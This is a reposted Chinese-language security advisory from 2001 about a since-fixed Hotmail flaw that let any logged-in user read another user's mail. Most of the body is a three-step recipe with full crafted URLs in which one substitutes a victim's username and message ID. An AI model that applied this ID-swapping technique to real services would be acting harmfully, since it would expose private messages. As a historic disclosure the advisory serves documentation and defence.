Hotmail 信件内容泄露漏洞

发布日期：2001-08-18
更新日期：2001-08-23

受影响系统：

http://www.hotmail.com

描述：

---

Hotmail存在一个安全漏洞，攻击者可以阅读任何人的信件。

按照下面的三个步骤可以阅读其它用户在Hotmail的信件：

1.用你在Hotmail的帐号登陆进入系统
2.用下面的链接来 阅读特定用户的信件：

http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http:/
/64.4.36.250/cgi-bin/getmsg&hm___qs=&msg=MSG998047250.22
&start=9702&len=9687&raw=0&disk=64.4.36.68_d1577&log
in=username&domain=hotmail.com&hm___fl=attrd&domain=hotmail.com

或者

http://lw14fd.law14.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http:%
2f/64.4.36.250/cgi-bin/getmsg&hm___qs=&msg=MSG998047250.
22&start=9702&len=9687&raw=0&disk=64.4.36.68_d1577&l
ogin=username&domain=hotmail.com&hm___fl=attrd&domain=hotmail.com

修改MSG943322803.16 (消息ID)
username （帐号）
即可。

如果你不想阅读信件的原始信息，可以去掉“&raw=0”，如果你不希望Hotmail的
信息显示在顶部，可以去掉“&hm___fl=attrd&domain=hotmail.com”。

3.完成。如果你输入了和帐号对应的正确消息ID，那么你就会看到该用户的信件。

<*来源：wAwAsAn4 （wAwAsAn4@root-core.com）
参考：www.root-core.com
*>

建议：

---

目前厂商已经修复了这个漏洞

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有